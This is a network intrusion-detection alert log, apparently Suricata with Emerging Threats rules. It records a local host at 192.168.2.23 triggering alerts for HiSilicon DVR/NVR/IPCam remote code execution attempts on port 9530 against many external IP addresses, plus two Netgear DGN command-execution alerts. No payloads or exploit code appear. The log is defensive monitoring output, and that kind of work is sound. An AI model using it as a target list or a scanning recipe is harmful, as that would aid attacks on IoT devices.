05/16/24-16:39:03.253939	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52820	9530	192.168.2.23	170.102.73.46
05/16/24-16:39:03.263628	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37890	9530	192.168.2.23	70.148.216.76
05/16/24-16:39:03.263628	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37890	9530	192.168.2.23	70.148.216.76
05/16/24-16:38:55.187261	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45072	9530	192.168.2.23	51.194.116.32
05/16/24-16:38:55.187261	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45072	9530	192.168.2.23	51.194.116.32
05/16/24-16:39:08.136454	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51318	9530	192.168.2.23	164.1.191.57
05/16/24-16:39:08.136454	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51318	9530	192.168.2.23	164.1.191.57
05/16/24-16:38:55.175119	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57912	9530	192.168.2.23	202.239.62.240
05/16/24-16:38:57.305763	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60540	9530	192.168.2.23	121.81.102.231
05/16/24-16:39:05.699207	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50994	9530	192.168.2.23	149.72.28.48
05/16/24-16:38:57.305763	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60540	9530	192.168.2.23	121.81.102.231
05/16/24-16:39:05.699207	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50994	9530	192.168.2.23	149.72.28.48
05/16/24-16:39:03.268511	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56746	9530	192.168.2.23	150.255.228.56
05/16/24-16:39:03.268511	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56746	9530	192.168.2.23	150.255.228.56
05/16/24-16:39:14.517557	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38410	9530	192.168.2.23	187.84.187.26
05/16/24-16:39:03.260995	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47980	9530	192.168.2.23	183.168.36.168
05/16/24-16:39:14.517557	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38410	9530	192.168.2.23	187.84.187.26
05/16/24-16:39:03.260995	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47980	9530	192.168.2.23	183.168.36.168
05/16/24-16:39:12.384778	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48956	9530	192.168.2.23	129.100.29.7
05/16/24-16:39:12.384778	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48956	9530	192.168.2.23	129.100.29.7
05/16/24-16:39:02.746758	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37824	9530	192.168.2.23	93.88.99.123
05/16/24-16:38:57.441180	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39780	9530	192.168.2.23	194.230.254.188
05/16/24-16:39:02.746758	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37824	9530	192.168.2.23	93.88.99.123
05/16/24-16:38:57.441180	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39780	9530	192.168.2.23	194.230.254.188
05/16/24-16:39:12.301187	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35276	9530	192.168.2.23	188.157.189.33
05/16/24-16:39:12.301187	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35276	9530	192.168.2.23	188.157.189.33
05/16/24-16:38:53.100306	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44294	9530	192.168.2.23	172.200.180.160
05/16/24-16:38:53.100306	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44294	9530	192.168.2.23	172.200.180.160
05/16/24-16:39:08.127963	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57798	9530	192.168.2.23	46.194.50.194
05/16/24-16:39:16.603142	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45120	9530	192.168.2.23	20.246.117.226
05/16/24-16:39:08.127963	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57798	9530	192.168.2.23	46.194.50.194
05/16/24-16:39:16.603142	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45120	9530	192.168.2.23	20.246.117.226
05/16/24-16:39:16.580466	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59748	9530	192.168.2.23	12.14.19.28
05/16/24-16:39:16.580466	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59748	9530	192.168.2.23	12.14.19.28
05/16/24-16:38:55.220925	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50470	9530	192.168.2.23	142.42.221.242
05/16/24-16:39:14.507623	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50552	9530	192.168.2.23	98.24.136.162
05/16/24-16:39:14.507623	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50552	9530	192.168.2.23	98.24.136.162
05/16/24-16:38:55.220925	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50470	9530	192.168.2.23	142.42.221.242
05/16/24-16:39:03.277875	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34860	9530	192.168.2.23	99.161.7.234
05/16/24-16:39:03.277875	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34860	9530	192.168.2.23	99.161.7.234
05/16/24-16:39:08.149089	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57120	9530	192.168.2.23	205.153.95.155
05/16/24-16:38:59.519288	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48114	9530	192.168.2.23	83.38.166.56
05/16/24-16:39:08.149089	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57120	9530	192.168.2.23	205.153.95.155
05/16/24-16:39:12.303997	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52330	9530	192.168.2.23	102.78.225.124
05/16/24-16:39:12.303997	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52330	9530	192.168.2.23	102.78.225.124
05/16/24-16:38:59.590342	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60458	9530	192.168.2.23	104.216.94.82
05/16/24-16:39:14.518764	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51862	9530	192.168.2.23	153.139.33.237
05/16/24-16:39:14.518764	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51862	9530	192.168.2.23	153.139.33.237
05/16/24-16:39:14.529048	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36114	9530	192.168.2.23	95.167.145.178
05/16/24-16:39:14.529048	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36114	9530	192.168.2.23	95.167.145.178
05/16/24-16:38:59.590342	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60458	9530	192.168.2.23	104.216.94.82
05/16/24-16:39:12.382772	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52880	9530	192.168.2.23	70.149.45.137
05/16/24-16:39:12.382772	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52880	9530	192.168.2.23	70.149.45.137
05/16/24-16:39:08.128044	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46092	9530	192.168.2.23	204.64.21.220
05/16/24-16:39:03.256892	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54506	9530	192.168.2.23	220.222.123.190
05/16/24-16:38:59.557982	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60998	9530	192.168.2.23	108.154.10.30
05/16/24-16:39:03.256892	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54506	9530	192.168.2.23	220.222.123.190
05/16/24-16:38:59.557982	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60998	9530	192.168.2.23	108.154.10.30
05/16/24-16:39:08.128044	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46092	9530	192.168.2.23	204.64.21.220
05/16/24-16:39:03.262226	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36352	9530	192.168.2.23	67.125.184.65
05/16/24-16:38:59.520050	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59100	9530	192.168.2.23	185.123.66.251
05/16/24-16:38:59.520050	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59100	9530	192.168.2.23	185.123.66.251
05/16/24-16:39:03.262226	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36352	9530	192.168.2.23	67.125.184.65
05/16/24-16:38:59.519288	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48114	9530	192.168.2.23	83.38.166.56
05/16/24-16:39:14.492070	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33926	9530	192.168.2.23	220.23.93.168
05/16/24-16:39:14.492404	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33550	9530	192.168.2.23	84.30.9.189
05/16/24-16:39:14.492070	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33926	9530	192.168.2.23	220.23.93.168
05/16/24-16:39:14.492404	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33550	9530	192.168.2.23	84.30.9.189
05/16/24-16:38:50.047739	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56248	9530	192.168.2.23	49.212.210.65
05/16/24-16:39:16.611209	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46008	9530	192.168.2.23	171.228.47.113
05/16/24-16:38:50.047739	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56248	9530	192.168.2.23	49.212.210.65
05/16/24-16:39:16.611209	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46008	9530	192.168.2.23	171.228.47.113
05/16/24-16:38:59.519275	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53376	9530	192.168.2.23	9.134.33.169
05/16/24-16:38:59.519275	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53376	9530	192.168.2.23	9.134.33.169
05/16/24-16:39:12.406630	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48420	9530	192.168.2.23	221.60.251.191
05/16/24-16:39:05.693315	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43852	9530	192.168.2.23	211.167.127.118
05/16/24-16:39:12.401743	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53232	9530	192.168.2.23	176.209.136.16
05/16/24-16:39:12.401743	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53232	9530	192.168.2.23	176.209.136.16
05/16/24-16:39:05.693315	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43852	9530	192.168.2.23	211.167.127.118
05/16/24-16:39:16.598479	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57608	9530	192.168.2.23	119.21.201.118
05/16/24-16:39:02.747905	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41228	9530	192.168.2.23	186.215.29.153
05/16/24-16:39:16.598479	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57608	9530	192.168.2.23	119.21.201.118
05/16/24-16:39:02.747905	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41228	9530	192.168.2.23	186.215.29.153
05/16/24-16:39:16.579883	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33978	9530	192.168.2.23	153.113.212.70
05/16/24-16:39:12.384764	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41432	9530	192.168.2.23	141.229.179.36
05/16/24-16:39:12.384764	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41432	9530	192.168.2.23	141.229.179.36
05/16/24-16:39:16.579883	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33978	9530	192.168.2.23	153.113.212.70
05/16/24-16:39:14.494560	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38906	9530	192.168.2.23	169.47.29.184
05/16/24-16:39:14.494560	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38906	9530	192.168.2.23	169.47.29.184
05/16/24-16:38:50.068999	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56702	9530	192.168.2.23	42.123.207.254
05/16/24-16:39:01.467583	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	48866	80	192.168.2.23	194.69.245.86
05/16/24-16:38:50.068999	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56702	9530	192.168.2.23	42.123.207.254
05/16/24-16:39:05.712613	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48704	9530	192.168.2.23	217.143.38.89
05/16/24-16:39:05.712613	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48704	9530	192.168.2.23	217.143.38.89
05/16/24-16:38:55.176105	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41838	9530	192.168.2.23	144.93.111.85
05/16/24-16:38:57.408692	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44224	9530	192.168.2.23	61.235.244.49
05/16/24-16:39:03.290431	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60740	9530	192.168.2.23	164.223.206.240
05/16/24-16:38:55.176105	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41838	9530	192.168.2.23	144.93.111.85
05/16/24-16:39:03.290431	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60740	9530	192.168.2.23	164.223.206.240
05/16/24-16:38:57.408692	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44224	9530	192.168.2.23	61.235.244.49
05/16/24-16:39:03.280123	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42512	9530	192.168.2.23	52.147.46.130
05/16/24-16:39:03.280123	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42512	9530	192.168.2.23	52.147.46.130
05/16/24-16:39:12.298141	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56880	9530	192.168.2.23	158.156.135.76
05/16/24-16:39:12.298141	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56880	9530	192.168.2.23	158.156.135.76
05/16/24-16:38:55.226836	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33820	9530	192.168.2.23	80.239.148.149
05/16/24-16:39:14.491205	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42610	9530	192.168.2.23	75.171.118.52
05/16/24-16:38:55.226836	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33820	9530	192.168.2.23	80.239.148.149
05/16/24-16:39:14.491205	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42610	9530	192.168.2.23	75.171.118.52
05/16/24-16:39:14.531149	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46192	9530	192.168.2.23	98.180.127.61
05/16/24-16:39:14.531149	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46192	9530	192.168.2.23	98.180.127.61
05/16/24-16:39:14.521920	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59000	9530	192.168.2.23	114.111.83.42
05/16/24-16:39:14.521920	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59000	9530	192.168.2.23	114.111.83.42
05/16/24-16:39:16.603142	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37642	9530	192.168.2.23	193.127.167.37
05/16/24-16:39:16.603142	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37642	9530	192.168.2.23	193.127.167.37
05/16/24-16:39:12.295464	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44996	9530	192.168.2.23	52.182.194.209
05/16/24-16:39:12.295464	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44996	9530	192.168.2.23	52.182.194.209
05/16/24-16:39:12.380211	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37656	9530	192.168.2.23	97.238.221.239
05/16/24-16:39:12.380211	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37656	9530	192.168.2.23	97.238.221.239
05/16/24-16:39:14.494612	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50684	9530	192.168.2.23	144.156.142.55
05/16/24-16:39:14.494612	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50684	9530	192.168.2.23	144.156.142.55
05/16/24-16:39:14.491237	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51168	9530	192.168.2.23	218.181.65.70
05/16/24-16:39:14.491237	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51168	9530	192.168.2.23	218.181.65.70
05/16/24-16:39:08.041166	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59032	9530	192.168.2.23	212.57.185.36
05/16/24-16:39:08.041166	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59032	9530	192.168.2.23	212.57.185.36
05/16/24-16:38:59.519995	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55140	9530	192.168.2.23	25.24.159.5
05/16/24-16:38:59.519995	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55140	9530	192.168.2.23	25.24.159.5
05/16/24-16:38:59.519434	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55920	9530	192.168.2.23	112.134.246.85
05/16/24-16:38:59.519434	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55920	9530	192.168.2.23	112.134.246.85
05/16/24-16:38:53.011484	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44156	9530	192.168.2.23	103.22.41.47
05/16/24-16:38:53.011484	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44156	9530	192.168.2.23	103.22.41.47
05/16/24-16:39:12.384411	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58720	9530	192.168.2.23	158.37.49.13
05/16/24-16:39:12.384411	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58720	9530	192.168.2.23	158.37.49.13
05/16/24-16:39:02.764187	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57644	9530	192.168.2.23	13.247.134.19
05/16/24-16:39:02.764187	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57644	9530	192.168.2.23	13.247.134.19
05/16/24-16:39:12.382892	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40108	9530	192.168.2.23	142.38.29.31
05/16/24-16:39:12.382892	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40108	9530	192.168.2.23	142.38.29.31
05/16/24-16:39:16.582467	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56140	9530	192.168.2.23	191.138.207.30
05/16/24-16:39:16.582467	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56140	9530	192.168.2.23	191.138.207.30
05/16/24-16:39:09.595122	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	47236	80	192.168.2.23	76.160.156.195
05/16/24-16:39:03.262246	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45864	9530	192.168.2.23	175.74.152.31
05/16/24-16:39:03.262246	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45864	9530	192.168.2.23	175.74.152.31
05/16/24-16:38:55.210373	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55716	9530	192.168.2.23	166.209.194.84
05/16/24-16:38:57.448109	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41028	9530	192.168.2.23	115.78.3.50
05/16/24-16:39:05.704013	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43134	9530	192.168.2.23	94.143.81.109
05/16/24-16:38:55.176046	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46598	9530	192.168.2.23	91.61.97.128
05/16/24-16:38:57.448109	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41028	9530	192.168.2.23	115.78.3.50
05/16/24-16:39:05.704013	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43134	9530	192.168.2.23	94.143.81.109
05/16/24-16:38:55.176046	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46598	9530	192.168.2.23	91.61.97.128
05/16/24-16:38:55.210373	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55716	9530	192.168.2.23	166.209.194.84
05/16/24-16:39:08.041881	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33890	9530	192.168.2.23	138.211.41.82
05/16/24-16:39:05.713068	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47040	9530	192.168.2.23	36.73.145.72
05/16/24-16:39:05.713068	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47040	9530	192.168.2.23	36.73.145.72
05/16/24-16:39:08.041881	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33890	9530	192.168.2.23	138.211.41.82
05/16/24-16:39:05.678400	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56306	9530	192.168.2.23	91.174.114.27
05/16/24-16:39:05.678400	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56306	9530	192.168.2.23	91.174.114.27
05/16/24-16:39:05.693347	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51166	9530	192.168.2.23	120.234.198.155
05/16/24-16:39:05.693347	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51166	9530	192.168.2.23	120.234.198.155
05/16/24-16:39:08.127249	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53500	9530	192.168.2.23	217.30.120.178
05/16/24-16:39:14.529795	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39932	9530	192.168.2.23	93.2.56.217
05/16/24-16:39:08.127249	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53500	9530	192.168.2.23	217.30.120.178
05/16/24-16:39:14.529795	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39932	9530	192.168.2.23	93.2.56.217
05/16/24-16:38:59.520070	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35804	9530	192.168.2.23	122.195.120.192
05/16/24-16:38:59.520070	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35804	9530	192.168.2.23	122.195.120.192
05/16/24-16:38:50.004285	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55060	9530	192.168.2.23	158.104.140.248
05/16/24-16:38:50.004285	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55060	9530	192.168.2.23	158.104.140.248
05/16/24-16:39:16.600097	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48568	9530	192.168.2.23	202.123.158.222
05/16/24-16:39:16.600097	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48568	9530	192.168.2.23	202.123.158.222
05/16/24-16:39:05.712630	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52308	9530	192.168.2.23	69.3.236.249
05/16/24-16:39:05.712630	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52308	9530	192.168.2.23	69.3.236.249
05/16/24-16:38:53.084730	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53102	9530	192.168.2.23	18.22.2.90
05/16/24-16:39:05.715271	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35574	9530	192.168.2.23	18.169.79.74
05/16/24-16:38:53.084730	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53102	9530	192.168.2.23	18.22.2.90
05/16/24-16:39:05.715271	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35574	9530	192.168.2.23	18.169.79.74
05/16/24-16:39:02.764200	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35184	9530	192.168.2.23	184.125.234.150
